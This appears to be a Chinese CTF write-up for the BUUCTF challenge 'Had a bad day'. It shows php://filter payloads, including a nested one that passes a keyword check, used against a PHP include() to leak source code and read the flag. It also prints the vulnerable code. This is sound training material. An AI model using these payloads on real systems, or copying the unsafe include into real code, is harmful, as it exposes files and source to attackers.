BUUCTF [BSidesCF 2020] Had a bad day

BUUCTF [BSidesCF 2020] Had a bad day

考点: php伪协议嵌套

启动环境:
BUUCTF [BSidesCF 2020] Had a bad day_第1张图片
其中包含两个按钮,选择猫和狗的图片:
BUUCTF [BSidesCF 2020] Had a bad day_第2张图片
此时的URL变为:

http://xxx/index.php?category=meowers

其中包含有GET传参,尝试修改category传入的值,得到报错:
BUUCTF [BSidesCF 2020] Had a bad day_第3张图片
其中为include()函数报错,尝试获取index.php页面的源码:php://filter/read=convert.base64-encode/resource=index.php
BUUCTF [BSidesCF 2020] Had a bad day_第4张图片
尝试了几次,发现不用加.php文件后缀,直接使用index
BUUCTF [BSidesCF 2020] Had a bad day_第5张图片
得到源码:

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?span>
          <div class="mdl-layout-spacer">div>
        <div>
      header>
      <div class="page-ribbon">div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone">div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            div>
            <h3>Cheer up!h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              p>
              <div class="page-include">
              
			div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);">span>span>button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);">span>span>button>center>
          form>

          div>
        div>
      main>
    div>
    <script src="js/material.min.js">script>
  body>
html>

查看其中的PHP代码:


	$file = $_GET['category'];

	if(isset($file))
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
		}
		else{
			echo "Sorry, we currently only support woofers and meowers.";
		}
	}
?>

源码分析:

  • 通过GET方式传入变量category的值
  • 传入的值中需包含woofersmeowersindex,才能包含传入的文件

猜测其存在flag.php页面:
在这里插入图片描述
查看网页源码,得到提示需要读取flag,尝试继续使用php伪协议读取flag.php

php://filter/read=convert.base64-encode/resource=flag

BUUCTF [BSidesCF 2020] Had a bad day_第6张图片
但源码中说明需要包含woofersmeowersindex,所以查阅资料,php伪协议可以嵌套使用,即构造

php://filter/read=convert.base64-encode/meowers/resource=flag

BUUCTF [BSidesCF 2020] Had a bad day_第7张图片
经过Base64解码,得到flag:

<!-- Can you read this flag? -->

 // flag{dabcaf83-e5b1-49b8-ad2f-3b8bffd1b66e}
?>

你可能感兴趣的:(BUUCTF,WEB,Writeup,BUUCTF,BSidesCF,2020,Had,a,bad,day,writeup,CTF)